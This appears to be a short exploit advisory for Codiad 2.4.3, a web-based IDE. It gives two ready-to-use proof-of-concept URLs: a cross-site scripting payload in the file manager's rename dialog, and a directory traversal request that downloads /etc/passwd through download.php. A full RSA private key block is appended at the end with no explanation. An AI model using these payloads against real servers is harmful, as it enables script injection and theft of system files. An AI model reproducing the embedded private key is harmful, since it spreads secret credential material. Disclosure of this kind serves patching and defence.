Codiad 2.4.3 Cross Site Scripting / Local File Inclusion

` -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
INDEPENDENT SECURITY RESEARCHER   
PENETRATION TESTING SECURITY  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
  
# Exploit Title: Codiad - Cross Site Scripting - Local File Inclusion Vulnerability's   
# Date: 19/12/2014  
# Url Vendor: http://codiad.com/  
# Vendor Name: Codiad  
# Version: 2.4.3  
# CVE: CVE-2014-1137  
# Author: TaurusOmar   
# Tiwtter: @TaurusOmar_  
# Email: [email protected]  
# Home: overhat.blogspot.com  
# Tested On: Bugtraq Optimus  
# Risk: High  
  
Description  
Codiad is a web-based IDE framework with a small footprint and minimal requirements.  
Codiad was built with simplicity in mind, allowing for fast, interactive development without the massive overhead of some of the larger desktop editors. That being said even users of IDE's such as Eclipse, NetBeans and Aptana are finding Codiad's simplicity to be a huge benefit. While simplicity was key, we didn't skimp on features and have a team of dedicated developer actively adding more.  
  
  
------------------------  
+ CROSS SITE SCRIPTING +   
------------------------  
#Exploiting Description - Get into code xss in next path  
  
/components/filemanager/dialog.php?action=rename&path=3&short_name=  
  
#P0c  
http://site.com/components/filemanager/dialog.php?action=rename&path=3&short_name='"><img src=x onerror=prompt(1);>  
  
#Proof Concept  
http://i.imgur.com/rr9b42K.jpg  
  
  
------------------------  
+ Local File Incluson +  
------------------------  
# Exploiting Description - Get into path in ur' browser and download private file server /etc/passwd   
  
#P0c  
http://site.com/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined  
  
#Proof Concept  
http://i.imgur.com/LSm360S.jpg  
  
  
  
-----BEGIN RSA PRIVATE KEY-----  
MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl  
Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi  
2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB  
AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8  
GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX  
X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/  
WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R  
8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL  
Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM  
8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM  
BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY  
ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J  
X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/  
-----END RSA PRIVATE KEY-----  
`